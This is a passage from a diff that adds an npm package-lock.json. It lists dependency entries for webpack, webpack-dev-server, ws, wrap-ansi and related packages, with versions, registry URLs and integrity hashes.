"sha512-JmcgNZ1iKj+aiR0OvTYtWQqJwq37Pf683dY9bVORwVbUrDhLhdn/PlO2sHsFHPkj7sHNQF3JwaAkp49V+Sq1tQ==", + "dependencies": { + "@types/eslint-scope": "^3.7.3", + "@types/estree": "^1.0.0", + "@webassemblyjs/ast": "^1.11.5", + "@webassemblyjs/wasm-edit": "^1.11.5", + "@webassemblyjs/wasm-parser": "^1.11.5", + "acorn": "^8.7.1", + "acorn-import-assertions": "^1.9.0", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.15.0", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.9", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.7", + "watchpack": "^2.4.0", + "webpack-sources": "^3.2.3" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-bundle-analyzer": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/webpack-bundle-analyzer/-/webpack-bundle-analyzer-4.9.0.tgz", + "integrity": "sha512-+bXGmO1LyiNx0i9enBu3H8mv42sj/BJWhZNFwjz92tVnBa9J3JMGo2an2IXlEleoDOPn/Hofl5hr/xCpObUDtw==", + "dependencies": { + "@discoveryjs/json-ext": "0.5.7", + "acorn": "^8.0.4", + "acorn-walk": "^8.0.0", + "chalk": "^4.1.0", + "commander": "^7.2.0", + "gzip-size": "^6.0.0", + "lodash": "^4.17.20", + "opener": "^1.5.2", + "sirv": "^1.0.7", + "ws": "^7.3.1" + }, + "bin": { + "webpack-bundle-analyzer": "lib/bin/analyzer.js" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/webpack-bundle-analyzer/node_modules/acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/webpack-bundle-analyzer/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/webpack-dev-middleware": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.3.tgz", + "integrity": "sha512-hj5CYrY0bZLB+eTO+x/j67Pkrquiy7kWepMHmUMoPsmcUaeEnQJqFzHJOyxgWlq746/wUuA64p9ta34Kyb01pA==", + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/webpack-dev-middleware/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/webpack-dev-middleware/node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/webpack-dev-middleware/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.15.1", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.1.tgz", + "integrity": "sha512-5hbAst3h3C3L8w6W4P96L5vaV0PxSmJhxZvWKYIdgxOQm8pNZ5dEOmmSLBVpP85ReeyRt6AS1QJNyo/oFFPeVA==", + "dependencies": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.5", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.1.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.1", + "ws": "^8.13.0" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack": { + "optional": true + }, + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-server/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-server/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/webpack-dev-server/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server/node_modules/ws": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/webpack-merge": { + "version": "5.9.0", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.9.0.tgz", + "integrity": "sha512-6NbRQw4+Sy50vYNTw7EyOn41OZItPiXB8GNv3INSoe3PSFaHJEz3SHTrYVaRm2LilNGnFUzh0FAwqPEmU/CwDg==", + "dependencies": { + "clone-deep": "^4.0.1", + "wildcard": "^2.0.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/webpack/node_modules/acorn-import-assertions": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz", + "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==", + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/webpack/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/webpack/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpackbar": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/webpackbar/-/webpackbar-5.0.2.tgz", + "integrity": "sha512-BmFJo7veBDgQzfWXl/wwYXr/VFus0614qZ8i9znqcl9fnEdiVkdbi0TedLQ6xAK92HZHDJ0QmyQ0fmuZPAgCYQ==", + "dependencies": { + "chalk": "^4.1.0", + "consola": "^2.15.3", + "pretty-time": "^1.1.0", + "std-env": "^3.0.1" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "webpack": "3 || 4 || 5" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.1.3.tgz", + "integrity": "sha512-YmjsSMDBYsM1CaFiayOVT06+KJeXf0o5M/CAd4o1lTadFAtacTUM49zoYxr/oroopFDfhvN6iEcBxUyc3gvKmw==", + "dev": true, + "dependencies": { + "function.prototype.name": "^1.1.5", + "has-tostringtag": "^1.0.0", + "is-async-function": "^2.0.0", + "is-date-object": "^1.0.5", + "is-finalizationregistry": "^1.0.2", + "is-generator-function": "^1.0.10", + "is-regex": "^1.1.4", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + }, + "node_modules/which-collection": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.1.tgz", + "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==", + "dev": true, + "dependencies": { + "is-map": "^2.0.1", + "is-set": "^2.0.1", + "is-weakmap": "^2.0.1", + "is-weakset": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.11.tgz", + "integrity": "sha512-qe9UWWpkeG5yzZ0tNYxDmd7vo58HDBc39mZ0xWWpolAGADdFOzkfamWLDxkOWcvHQKVmdTyQdLD4NOfjLWTKew==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/widest-line": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-4.0.1.tgz", + "integrity": "sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig==", + "dependencies": { + "string-width": "^5.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wildcard": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.1.tgz", + "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==" + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xdg-basedir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz", + "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/xml-js": { + "version": "1.6.11", + "resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz", + "integrity": "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==", + "dependencies": { + "sax": "^1.2.4" + }, + "bin": { + "xml-js": "bin/cli.js" + } + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zwitch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", + "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + }, + "dependencies": { + "@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "devOptional": true + }, + "@algolia/autocomplete-core": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-core/-/autocomplete-core-1.11.0.tgz", + "integrity": "sha512-kFtn8XPMdE1QGDxyMTObGgaUpq5lcG2fLVsda6E88MoZZsfYkC8Oua6dwa0b06/GpgEWaliby/7AksUqz05uzw==", + "requires": { + "@algolia/autocomplete-plugin-algolia-insights": "1.11.0", + "@algolia/autocomplete-shared": "1.11.0" + } + }, + "@algolia/autocomplete-js": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-js/-/autocomplete-js-1.11.0.tgz", + "integrity": "sha512-+INNaRwwztxUboAoTnDSAm7INPcyLOu4SANYTZihyQiVRr6ZeJd7/AlifMnonJxrEH7j5RgX7WhjUm5xMN+r8A==", + "requires": { + "@algolia/autocomplete-core": "1.11.0", + "@algolia/autocomplete-preset-algolia": "1.11.0", + "@algolia/autocomplete-shared": "1.11.0", + "htm": "^3.1.1", + "preact": "^10.13.2" + } + }, + "@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.11.0.tgz", + "integrity": "sha512-TsJ5vs1jR9IbYDRWnd0tHLF/y54quoSAV7fDbyDdfUdkuI9bVP0bzulxT+POezPT5+6Ya5IJNCrg4DViA3Dm0Q==", + "requires": { + "@algolia/autocomplete-shared": "1.11.0" + } + }, + "@algolia/autocomplete-preset-algolia": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.11.0.tgz", + "integrity": "sha512-a2Tg6TOXN75xIzcx9P7srTNIH8kFjap6IEDHiMYWwa3V4qWNZjbE3e07HxwD3Pme8zp700y3EiYTQMBaYETe6g==", + "requires": { + "@algolia/autocomplete-shared": "1.11.0" + } + }, + "@algolia/autocomplete-shared": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-shared/-/autocomplete-shared-1.11.0.tgz", + "integrity": "sha512-ug1HYGQfe8+bvGuVJ3Fbdxn+YvR6MHPD36vQ5kv+5WWnBiW+QTyGk5yiluS9+i81l9wxH34Zl3XN/6MQ68MAgw==", + "requires": {} + }, + "@algolia/autocomplete-theme-classic": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-theme-classic/-/autocomplete-theme-classic-1.11.0.tgz", + "integrity": "sha512-R6k8D/6rwI5EQliVweK+JvX6JAF2cnzJvWhfgwOkdkVHYX3RT9yXR8aE7m6Rxv8wtQpivGsCKeTEJl2jD5goEw==" + }, + "@algolia/cache-browser-local-storage": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.19.1.tgz", + "integrity": "sha512-FYAZWcGsFTTaSAwj9Std8UML3Bu8dyWDncM7Ls8g+58UOe4XYdlgzXWbrIgjaguP63pCCbMoExKr61B+ztK3tw==", + "requires": { + "@algolia/cache-common": "4.19.1" + } + }, + "@algolia/cache-common": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/cache-common/-/cache-common-4.19.1.tgz", + "integrity": "sha512-XGghi3l0qA38HiqdoUY+wvGyBsGvKZ6U3vTiMBT4hArhP3fOGLXpIINgMiiGjTe4FVlTa5a/7Zf2bwlIHfRqqg==" + }, + "@algolia/cache-in-memory": { + "version": "4.19.1", + "resolved": 